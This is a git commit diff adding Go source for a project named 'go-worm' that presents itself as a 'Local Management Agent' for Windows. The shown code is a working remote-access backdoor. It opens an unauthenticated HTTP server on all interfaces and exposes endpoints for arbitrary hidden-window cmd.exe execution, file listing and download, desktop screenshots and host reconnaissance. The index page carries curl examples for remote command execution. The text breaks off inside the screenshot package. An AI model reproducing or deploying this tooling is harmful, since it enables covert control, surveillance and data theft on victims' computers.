Initial commit with project setup and basic structure established.
This commit is contained in:
@@ -0,0 +1,5 @@
|
|||||||
|
module tea.chunkbyte.com/kato/go-worm
|
||||||
|
|
||||||
|
go 1.26.2
|
||||||
|
|
||||||
|
require golang.org/x/sys v0.47.0
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
|
||||||
|
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||||
@@ -0,0 +1,96 @@
|
|||||||
|
package agent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/signal"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Agent struct {
|
||||||
|
addr string
|
||||||
|
root string
|
||||||
|
guard *instance.Guard
|
||||||
|
server *http.Server
|
||||||
|
startedAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
func New() (*Agent, error) {
|
||||||
|
a := &Agent{
|
||||||
|
addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr),
|
||||||
|
startedAt: time.Now(),
|
||||||
|
}
|
||||||
|
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
|
||||||
|
resolved, err := files.CanonicalExistingPath(root)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("invalid AGENT_FILE_ROOT: %w", err)
|
||||||
|
}
|
||||||
|
a.root = resolved
|
||||||
|
}
|
||||||
|
guard, err := instance.Acquire()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
a.guard = guard
|
||||||
|
return a, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) Close() {
|
||||||
|
if a.guard != nil {
|
||||||
|
a.guard.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) Serve() error {
|
||||||
|
mux := http.NewServeMux()
|
||||||
|
mux.HandleFunc("/", a.handleIndex)
|
||||||
|
mux.HandleFunc("/health", a.handleHealth)
|
||||||
|
mux.HandleFunc("/healthz", a.handleHealth)
|
||||||
|
mux.HandleFunc("/openapi.json", a.handleOpenAPI)
|
||||||
|
mux.HandleFunc("/api/v1/status", a.handleStatus)
|
||||||
|
mux.HandleFunc("/api/v1/files", a.handleFiles)
|
||||||
|
mux.HandleFunc("/api/v1/download", a.handleDownload)
|
||||||
|
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
||||||
|
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||||
|
|
||||||
|
a.server = &http.Server{
|
||||||
|
Addr: a.addr,
|
||||||
|
Handler: helpers.RecoverHandler(mux),
|
||||||
|
ReadHeaderTimeout: 10 * time.Second,
|
||||||
|
ReadTimeout: 30 * time.Second,
|
||||||
|
WriteTimeout: 150 * time.Second,
|
||||||
|
IdleTimeout: 60 * time.Second,
|
||||||
|
MaxHeaderBytes: 16 << 10,
|
||||||
|
}
|
||||||
|
|
||||||
|
listener, err := net.Listen("tcp", a.addr)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("listen %s: %w", a.addr, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Local Management Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
|
||||||
|
|
||||||
|
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
|
||||||
|
defer stop()
|
||||||
|
go func() {
|
||||||
|
<-ctx.Done()
|
||||||
|
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
_ = a.server.Shutdown(shutdownCtx)
|
||||||
|
}()
|
||||||
|
|
||||||
|
if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
||||||
|
return fmt.Errorf("serve: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,235 @@
|
|||||||
|
package agent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"io"
|
||||||
|
"mime"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/command"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (a *Agent) handleIndex(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.URL.Path != "/" || r.Method != http.MethodGet {
|
||||||
|
helpers.WriteError(w, http.StatusNotFound, "endpoint not found")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||||
|
_, _ = io.WriteString(w, `<!doctype html><html><head><meta charset="utf-8"><title>Local Management Agent</title><style>body{font:16px system-ui;max-width:900px;margin:3rem auto;color:#1f2937}code{background:#f3f4f6;padding:.15rem .3rem;border-radius:3px}li{margin:.5rem 0}</style></head><body><h1>Local Management Agent</h1><p>Version `+config.Version+`</p><h2>Endpoints</h2><ul><li><code>GET /health</code></li><li><code>GET /api/v1/status</code></li><li><code>GET /api/v1/files?path=C:\&depth=0</code></li><li><code>GET /api/v1/download?path=C:\path\file.txt</code></li><li><code>GET /api/v1/screenshot?format=png</code></li><li><code>POST /api/v1/exec</code></li></ul><h2>Examples</h2><p><code>curl http://HOST:5032/api/v1/status</code></p><p><code>curl -o screen.png http://HOST:5032/api/v1/screenshot?format=png</code></p><p><code>curl -X POST http://HOST:5032/api/v1/exec -H "Content-Type: application/json" -d "{\"command\":\"ipconfig /all\"}"</code></p></body></html>`)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodGet {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]string{"status": "ok"})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodGet {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||||
|
"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
|
||||||
|
"paths": map[string]any{
|
||||||
|
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
|
||||||
|
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
|
||||||
|
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
|
||||||
|
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
|
||||||
|
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodGet {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
host, _ := os.Hostname()
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||||
|
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
|
||||||
|
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
||||||
|
"agent_version": config.Version, "listen_address": a.addr,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodGet {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
|
||||||
|
if err != nil {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
path := r.URL.Query().Get("path")
|
||||||
|
if path == "" {
|
||||||
|
path, _ = os.UserHomeDir()
|
||||||
|
}
|
||||||
|
dir, err := files.AllowedPath(a.root, path, true)
|
||||||
|
if err != nil {
|
||||||
|
files.WritePathError(w, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
info, err := os.Stat(dir)
|
||||||
|
if err != nil {
|
||||||
|
files.WritePathError(w, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !info.IsDir() {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "path is not a directory")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
entries, err := files.ListDirectory(dir, depth)
|
||||||
|
if err != nil {
|
||||||
|
files.WritePathError(w, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodGet {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
path := r.URL.Query().Get("path")
|
||||||
|
if path == "" {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "path is required")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
file, err := files.AllowedPath(a.root, path, true)
|
||||||
|
if err != nil {
|
||||||
|
files.WritePathError(w, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
f, err := os.Open(file)
|
||||||
|
if err != nil {
|
||||||
|
files.WritePathError(w, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
info, err := f.Stat()
|
||||||
|
if err != nil {
|
||||||
|
files.WritePathError(w, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if info.IsDir() {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "path is a directory")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
name := filepath.Base(file)
|
||||||
|
contentType := mime.TypeByExtension(filepath.Ext(name))
|
||||||
|
if contentType == "" {
|
||||||
|
var sample [512]byte
|
||||||
|
n, _ := f.Read(sample[:])
|
||||||
|
contentType = http.DetectContentType(sample[:n])
|
||||||
|
_, _ = f.Seek(0, io.SeekStart)
|
||||||
|
}
|
||||||
|
w.Header().Set("Content-Type", contentType)
|
||||||
|
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`)
|
||||||
|
w.Header().Set("Accept-Ranges", "bytes")
|
||||||
|
http.ServeContent(w, r, name, info.ModTime(), f)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodGet {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format")))
|
||||||
|
if format == "" {
|
||||||
|
format = "png"
|
||||||
|
}
|
||||||
|
if format != "png" && format != "jpeg" {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
quality := 80
|
||||||
|
if raw := r.URL.Query().Get("quality"); raw != "" {
|
||||||
|
var err error
|
||||||
|
quality, err = strconv.Atoi(raw)
|
||||||
|
if err != nil || quality < 1 || quality > config.MaxImageQuality {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
images, err := screenshot.Capture(format, quality)
|
||||||
|
if err != nil {
|
||||||
|
helpers.Log.Printf("screenshot: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(images) == 1 {
|
||||||
|
w.Header().Set("Content-Type", images[0].ContentType)
|
||||||
|
w.Header().Set("Content-Length", strconv.Itoa(len(images[0].Data)))
|
||||||
|
_, _ = w.Write(images[0].Data)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
response := models.ScreenshotResponse{Images: make([]models.ScreenshotImage, 0, len(images))}
|
||||||
|
for i, item := range images {
|
||||||
|
response.Images = append(response.Images, models.ScreenshotImage{
|
||||||
|
Monitor: i,
|
||||||
|
ContentType: item.ContentType,
|
||||||
|
DataBase64: base64.StdEncoding.EncodeToString(item.Data),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, response)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||||
|
defer r.Body.Close()
|
||||||
|
var request models.ExecRequest
|
||||||
|
decoder := json.NewDecoder(r.Body)
|
||||||
|
decoder.DisallowUnknownFields()
|
||||||
|
if err := decoder.Decode(&request); err != nil {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "body must contain a command")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmdline := strings.TrimSpace(request.Command)
|
||||||
|
if cmdline == "" {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, command.ErrEmptyCommand.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
timeout, err := command.ResolveTimeout(request.TimeoutSec)
|
||||||
|
if err != nil {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ctx, cancel := context.WithTimeout(r.Context(), timeout)
|
||||||
|
defer cancel()
|
||||||
|
result, err := command.Run(ctx, cmdline)
|
||||||
|
if errors.Is(err, command.ErrTimeout) {
|
||||||
|
helpers.WriteError(w, http.StatusGatewayTimeout, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
helpers.Log.Printf("exec: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "could not run command")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, result)
|
||||||
|
}
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
package command
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"os/exec"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
ErrEmptyCommand = errors.New("command must not be empty")
|
||||||
|
ErrBadTimeout = errors.New("timeout_sec must be zero or positive")
|
||||||
|
ErrTimeout = errors.New("command timed out")
|
||||||
|
)
|
||||||
|
|
||||||
|
func ResolveTimeout(seconds int) (time.Duration, error) {
|
||||||
|
if seconds < 0 {
|
||||||
|
return 0, ErrBadTimeout
|
||||||
|
}
|
||||||
|
if seconds == 0 {
|
||||||
|
seconds = config.DefaultExecTO
|
||||||
|
}
|
||||||
|
if seconds > config.MaxExecTO {
|
||||||
|
seconds = config.MaxExecTO
|
||||||
|
}
|
||||||
|
return time.Duration(seconds) * time.Second, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
|
||||||
|
cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: windows.CREATE_NO_WINDOW,
|
||||||
|
}
|
||||||
|
var stdout, stderr bytes.Buffer
|
||||||
|
cmd.Stdout = &stdout
|
||||||
|
cmd.Stderr = &stderr
|
||||||
|
err := cmd.Run()
|
||||||
|
if ctx.Err() == context.DeadlineExceeded {
|
||||||
|
return models.ExecResponse{}, ErrTimeout
|
||||||
|
}
|
||||||
|
exitCode := 0
|
||||||
|
if err != nil {
|
||||||
|
var exitErr *exec.ExitError
|
||||||
|
if !errors.As(err, &exitErr) {
|
||||||
|
return models.ExecResponse{}, err
|
||||||
|
}
|
||||||
|
exitCode = exitErr.ExitCode()
|
||||||
|
}
|
||||||
|
return models.ExecResponse{
|
||||||
|
ExitCode: exitCode,
|
||||||
|
Stdout: stdout.String(),
|
||||||
|
Stderr: stderr.String(),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
Version = "1.0.0"
|
||||||
|
DefaultAddr = "0.0.0.0:5032"
|
||||||
|
MutexName = "LocalManagementAgent_Mutex"
|
||||||
|
RequestBodyMax = 1 << 20
|
||||||
|
MaxListEntries = 10000
|
||||||
|
MaxImageQuality = 100
|
||||||
|
DefaultExecTO = 30
|
||||||
|
MaxExecTO = 120
|
||||||
|
)
|
||||||
|
|
||||||
|
func EnvOr(name, fallback string) string {
|
||||||
|
if value := strings.TrimSpace(os.Getenv(name)); value != "" {
|
||||||
|
return value
|
||||||
|
}
|
||||||
|
return fallback
|
||||||
|
}
|
||||||
@@ -0,0 +1,131 @@
|
|||||||
|
package files
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"sort"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
ErrInvalidPath = errors.New("path must be an absolute accessible Windows path")
|
||||||
|
ErrOutsideRoot = errors.New("path is outside AGENT_FILE_ROOT")
|
||||||
|
)
|
||||||
|
|
||||||
|
func AllowedPath(root, raw string, requireExisting bool) (string, error) {
|
||||||
|
if strings.TrimSpace(raw) == "" || !filepath.IsAbs(raw) {
|
||||||
|
return "", ErrInvalidPath
|
||||||
|
}
|
||||||
|
clean := filepath.Clean(raw)
|
||||||
|
if requireExisting {
|
||||||
|
resolved, err := CanonicalExistingPath(clean)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
clean = resolved
|
||||||
|
}
|
||||||
|
if root != "" && !isWithin(root, clean) {
|
||||||
|
return "", ErrOutsideRoot
|
||||||
|
}
|
||||||
|
return clean, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func CanonicalExistingPath(path string) (string, error) {
|
||||||
|
abs, err := filepath.Abs(filepath.Clean(path))
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(abs); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
resolved, err := filepath.EvalSymlinks(abs)
|
||||||
|
if err == nil {
|
||||||
|
return filepath.Abs(resolved)
|
||||||
|
}
|
||||||
|
return abs, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func ParseDepth(raw string) (int, error) {
|
||||||
|
if raw == "" {
|
||||||
|
return 0, nil
|
||||||
|
}
|
||||||
|
depth, err := strconv.Atoi(raw)
|
||||||
|
if err != nil || (depth != 0 && depth != 1) {
|
||||||
|
return 0, errors.New("depth must be 0 or 1")
|
||||||
|
}
|
||||||
|
return depth, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func ListDirectory(dir string, depth int) ([]models.FileItem, error) {
|
||||||
|
result := make([]models.FileItem, 0)
|
||||||
|
var walk func(string, string, int) error
|
||||||
|
walk = func(current, relative string, remaining int) error {
|
||||||
|
entries, err := os.ReadDir(current)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
for _, entry := range entries {
|
||||||
|
if len(result) >= config.MaxListEntries {
|
||||||
|
return errors.New("directory listing exceeds entry limit")
|
||||||
|
}
|
||||||
|
info, err := entry.Info()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
entryPath := filepath.Join(current, entry.Name())
|
||||||
|
rel := filepath.Join(relative, entry.Name())
|
||||||
|
kind := "file"
|
||||||
|
if info.IsDir() {
|
||||||
|
kind = "dir"
|
||||||
|
}
|
||||||
|
result = append(result, models.FileItem{
|
||||||
|
Name: entry.Name(),
|
||||||
|
Path: rel,
|
||||||
|
Type: kind,
|
||||||
|
Size: info.Size(),
|
||||||
|
Modified: info.ModTime().UTC(),
|
||||||
|
})
|
||||||
|
if remaining > 0 && info.IsDir() && entry.Type()&os.ModeSymlink == 0 {
|
||||||
|
if err := walk(entryPath, rel, remaining-1); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if err := walk(dir, "", depth); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
sort.Slice(result, func(i, j int) bool {
|
||||||
|
return strings.ToLower(result[i].Path) < strings.ToLower(result[j].Path)
|
||||||
|
})
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func WritePathError(w http.ResponseWriter, err error) {
|
||||||
|
switch {
|
||||||
|
case errors.Is(err, ErrInvalidPath):
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||||
|
case errors.Is(err, ErrOutsideRoot), errors.Is(err, os.ErrPermission):
|
||||||
|
helpers.WriteError(w, http.StatusForbidden, "path is not accessible")
|
||||||
|
case errors.Is(err, os.ErrNotExist):
|
||||||
|
helpers.WriteError(w, http.StatusNotFound, "path does not exist")
|
||||||
|
default:
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "path is not accessible")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func isWithin(root, candidate string) bool {
|
||||||
|
rel, err := filepath.Rel(root, candidate)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return rel != ".." && !strings.HasPrefix(rel, ".."+string(os.PathSeparator)) && !filepath.IsAbs(rel)
|
||||||
|
}
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
package helpers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"sort"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
var Log = log.New(os.Stdout, "", log.Ldate|log.Ltime|log.Lmicroseconds)
|
||||||
|
|
||||||
|
func RecoverHandler(next http.Handler) http.Handler {
|
||||||
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
defer func() {
|
||||||
|
if recovered := recover(); recovered != nil {
|
||||||
|
Log.Printf("panic %s %s: %v", r.Method, r.URL.Path, recovered)
|
||||||
|
WriteError(w, http.StatusInternalServerError, "internal server error")
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
next.ServeHTTP(w, r)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func WriteJSON(w http.ResponseWriter, status int, value any) {
|
||||||
|
w.Header().Set("Content-Type", "application/json; charset=utf-8")
|
||||||
|
w.WriteHeader(status)
|
||||||
|
if err := json.NewEncoder(w).Encode(value); err != nil {
|
||||||
|
Log.Printf("write response: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func WriteError(w http.ResponseWriter, status int, message string) {
|
||||||
|
WriteJSON(w, status, models.APIError{Error: message})
|
||||||
|
}
|
||||||
|
|
||||||
|
func Username() string {
|
||||||
|
user := os.Getenv("USERNAME")
|
||||||
|
if user == "" {
|
||||||
|
user = os.Getenv("USER")
|
||||||
|
}
|
||||||
|
return user
|
||||||
|
}
|
||||||
|
|
||||||
|
func LocalIPs() []string {
|
||||||
|
interfaces, err := net.Interfaces()
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var ips []string
|
||||||
|
for _, iface := range interfaces {
|
||||||
|
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
addresses, _ := iface.Addrs()
|
||||||
|
for _, address := range addresses {
|
||||||
|
ip, _, err := net.ParseCIDR(address.String())
|
||||||
|
if err == nil && ip != nil {
|
||||||
|
ips = append(ips, ip.String())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sort.Strings(ips)
|
||||||
|
return ips
|
||||||
|
}
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
package instance
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Guard struct {
|
||||||
|
handle windows.Handle
|
||||||
|
}
|
||||||
|
|
||||||
|
func Acquire() (*Guard, error) {
|
||||||
|
name, err := windows.UTF16PtrFromString(config.MutexName)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
h, err := windows.CreateMutex(nil, false, name)
|
||||||
|
if h == 0 {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if errors.Is(err, windows.ERROR_ALREADY_EXISTS) {
|
||||||
|
windows.CloseHandle(h)
|
||||||
|
return nil, errors.New("agent already running")
|
||||||
|
}
|
||||||
|
return &Guard{handle: h}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (g *Guard) Close() {
|
||||||
|
if g == nil || g.handle == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
windows.CloseHandle(g.handle)
|
||||||
|
g.handle = 0
|
||||||
|
}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package models
|
||||||
|
|
||||||
|
import "time"
|
||||||
|
|
||||||
|
type APIError struct {
|
||||||
|
Error string `json:"error"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type FileItem struct {
|
||||||
|
Name string `json:"name"`
|
||||||
|
Path string `json:"path"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
Size int64 `json:"size"`
|
||||||
|
Modified time.Time `json:"modified_time"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ScreenshotImage struct {
|
||||||
|
Monitor int `json:"monitor"`
|
||||||
|
ContentType string `json:"content_type"`
|
||||||
|
DataBase64 string `json:"data_base64"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ScreenshotResponse struct {
|
||||||
|
Images []ScreenshotImage `json:"images"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ExecRequest struct {
|
||||||
|
Command string `json:"command"`
|
||||||
|
TimeoutSec int `json:"timeout_sec"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ExecResponse struct {
|
||||||
|
ExitCode int `json:"exit_code"`
|
||||||
|
Stdout string `json:"stdout"`
|
||||||
|
Stderr string `json:"stderr"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type CapturedImage struct {
|
||||||
|
ContentType string
|
||||||
|
Data []byte
|
||||||
|
}
|
||||||
@@ -0,0 +1,157 @@
|
|||||||
|
package screenshot
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"errors"
|
||||||
|
"image"
|
||||||
|
"image/jpeg"
|
||||||
|
"image/png"
|
||||||
|
"runtime"
|
||||||
|
"syscall"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||||||
|
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||||
|
